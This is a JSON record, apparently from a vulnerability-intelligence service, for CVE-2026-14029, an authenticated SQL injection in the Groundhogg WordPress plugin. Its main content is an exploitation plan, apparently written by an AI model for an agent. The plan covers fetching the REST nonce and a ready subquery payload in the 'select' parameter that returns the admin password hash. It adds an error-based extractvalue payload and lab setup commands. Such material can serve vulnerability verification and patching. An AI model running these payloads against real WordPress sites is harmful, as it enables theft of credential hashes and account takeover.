[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ftt1RP8AS76q2Dau1l7liR-kEZEp7L-neSiFbRx7BxM0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-14029","groundhogg-authenticated-custom-sql-injection-via-select-parameter","Groundhogg \u003C= 4.5.8 - Authenticated (Custom+) SQL Injection via 'select' Parameter","The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to generic SQL Injection via the 'select' parameter in all versions up to, and including, 4.5.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the attacker to hold a Groundhogg custom role with the view_contacts capability, which is granted by default to several built-in Groundhogg roles above the base subscriber level.","groundhogg",null,"\u003C=4.5.8","4.5.9","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-01 20:05:02","2026-07-02 08:33:08",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffb7fd98d-de1d-4b06-b769-92df40bc1873?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","admin\u002Fcontacts\u002Ftables\u002Fcontacts-table.php","api\u002Fv3\u002Fcontacts-api.php","api\u002Fv4\u002Fcontacts-api.php","db\u002Fquery\u002Fquery.php","groundhogg.php","includes\u002Fclasses\u002Femail.php","includes\u002Fcontact-query.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-14029 - Groundhogg SQL Injection\n\n## 1. Vulnerability Summary\nThe **Groundhogg** plugin (\u003C= 4.5.8) is vulnerable to an authenticated SQL injection via the `select` parameter. The vulnerability exists within the `Groundhogg\\DB\\Query\\Query` class, which handles the construction of SQL statements for various database objects, most notably contacts. The `set_query_params` method fails to sufficiently sanitize entries in the `select` parameter, allowing an attacker to inject subqueries or manipulate the `SELECT` clause of the final SQL statement.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress REST API (v3 and v4).\n- **Vulnerable Routes:** \n    - `GET \u002Fwp-json\u002Fgh\u002Fv3\u002Fcontacts`\n    - `GET \u002Fwp-json\u002Fgh\u002Fv4\u002Fcontacts`\n- **Vulnerable Parameter:** `select`\n- **Authentication Required:** Authenticated user with the `view_contacts` capability.\n- **Preconditions:** Groundhogg roles such as **Marketer**, **Sales Manager**, or any custom role with `view_contacts` must be assigned to the user. By default, these roles are available in the plugin.\n\n## 3. Code Flow\n1.  **Entry Point:** An authenticated user calls the REST API route `GET \u002Fwp-json\u002Fgh\u002Fv3\u002Fcontacts?select=...`.\n2.  **API Handler:** In `api\u002Fv3\u002Fcontacts-api.php`, the `get_contacts` method (or `read` in v4) is triggered.\n3.  **Query Initialization:** The API handler instantiates `Groundhogg\\Contact_Query` (which extends `Groundhogg\\DB\\Query\\Table_Query` -> `Groundhogg\\DB\\Query\\Query`).\n4.  **Parameter Processing:** The REST request parameters are passed to `$query->set_query_params( $params )` (defined in `db\u002Fquery\u002Fquery.php`).\n5.  **Vulnerable Sink:**\n    ```php\n    \u002F\u002F db\u002Fquery\u002Fquery.php\n    case 'select':\n        if ( ! is_array( $value ) ) {\n            $value = array_map( 'trim', explode( ',', $value ) );\n        }\n        $this->setSelect( ...$value ); \u002F\u002F Columns are stored for the SELECT clause\n        break;\n    ```\n6.  **Query Execution:** When the query is executed via `$wpdb->get_results()`, the strings in the `$select` array are joined into the `SELECT` statement. Because `maybe_sanitize_aggregate_column` or `sanitize_column` are either bypassed or insufficient, an attacker can inject a subquery.\n\n## 4. Nonce Acquisition Strategy\nTo interact with the WordPress REST API via cookie-based authentication, a `_wpnonce` is required in the `X-WP-Nonce` header.\n\n1.  **Login:** The agent must first log in as a user with Groundhogg permissions (e.g., `marketer`).\n2.  **Navigate:** Use `browser_navigate` to the WordPress dashboard (`\u002Fwp-admin\u002F`).\n3.  **Extract:** Execute `browser_eval` to extract the REST nonce from the global `wpApiSettings` object injected by WordPress.\n    ```javascript\n    \u002F\u002F Execution command\n    browser_eval(\"window.wpApiSettings?.nonce\")\n    ```\n4.  **Usage:** Include the returned string in the `X-WP-Nonce` header for subsequent REST API requests.\n\n## 5. Exploitation Strategy\nThe goal is to extract the admin password hash from the `wp_users` table using a subquery within the `select` list.\n\n### Step 1: Discover Column Names\nThe `contacts` table typically has columns like `email`, `first_name`, `last_name`. We will add our payload to the list of columns to be selected.\n\n### Step 2: Perform Data Extraction\nWe will request the contacts but force the database to include the result of a subquery in the response.\n\n- **Request Tool:** `http_request`\n- **Method:** `GET`\n- **URL:** `\u002Fwp-json\u002Fgh\u002Fv3\u002Fcontacts`\n- **Query Params:** \n    - `select`: `email,(SELECT+user_pass+FROM+wp_users+WHERE+ID=1)+as+password`\n- **Headers:**\n    - `X-WP-Nonce`: `[EXTRACTED_NONCE]`\n    - `Content-Type`: `application\u002Fjson`\n\n### Step 3: Expected Response\nThe response should be a JSON array of contact objects. Each object will contain the standard `email` field and a new field named `password` containing the admin's MD5\u002Fphpass hash.\n\n## 6. Test Data Setup\nBefore exploitation, ensure the environment is prepared:\n1.  **Activate Plugin:** Ensure Groundhogg is active.\n2.  **Create Attacker User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n    ```\n3.  **Assign Groundhogg Role:** Groundhogg roles are often stored as custom capabilities or mapped to WP roles. For this test, assign the `view_contacts` capability directly:\n    ```bash\n    wp cap add subscriber view_contacts\n    ```\n4.  **Create a Contact:** At least one contact must exist for the query to return results.\n    ```bash\n    wp gh contact create --email=\"test-contact@example.com\" --first_name=\"Test\" --last_name=\"User\"\n    ```\n\n## 7. Expected Results\n- **Success:** The REST API returns a status `200 OK`.\n- **Payload Reflection:** The JSON response body contains:\n  ```json\n  [\n    {\n      \"email\": \"test-contact@example.com\",\n      \"password\": \"$P$B...\" \n    }\n  ]\n  ```\n- **Failure:** A `400` error or a response where the `password` key is missing or contains literal SQL text (indicating the `sanitize_column` function successfully stripped the subquery).\n\n## 8. Verification Steps\n1.  **Retrieve Admin Hash via CLI:**\n    ```bash\n    wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\" --skip-column-names\n    ```\n2.  **Compare:** Verify that the hash returned by the REST API exploit matches the hash obtained directly from the database.\n\n## 9. Alternative Approaches\nIf the `select` parameter is filtered or the REST API rejects the subquery syntax:\n- **Error-Based Injection:** Use the `select` parameter to trigger a MySQL error that leaks data (e.g., `select=email,extractvalue(1,concat(0x7e,(select+user_login+from+wp_users+limit+1)))`).\n- **v4 API:** Try the same payload against `\u002Fwp-json\u002Fgh\u002Fv4\u002Fcontacts`.\n- **Table View:** Attempt to trigger the injection via the admin UI's contact table by manipulating the `orderby` or `order` parameters, which also pass through the `Query` class logic in `admin\u002Fcontacts\u002Ftables\u002Fcontacts-table.php`.","gemini-3-flash-preview","2026-07-25 11:13:14","2026-07-25 11:14:20",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.5.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgroundhogg\u002Ftags\u002F4.5.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgroundhogg.4.5.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgroundhogg\u002Ftags\u002F4.5.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgroundhogg.4.5.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgroundhogg\u002Ftags"]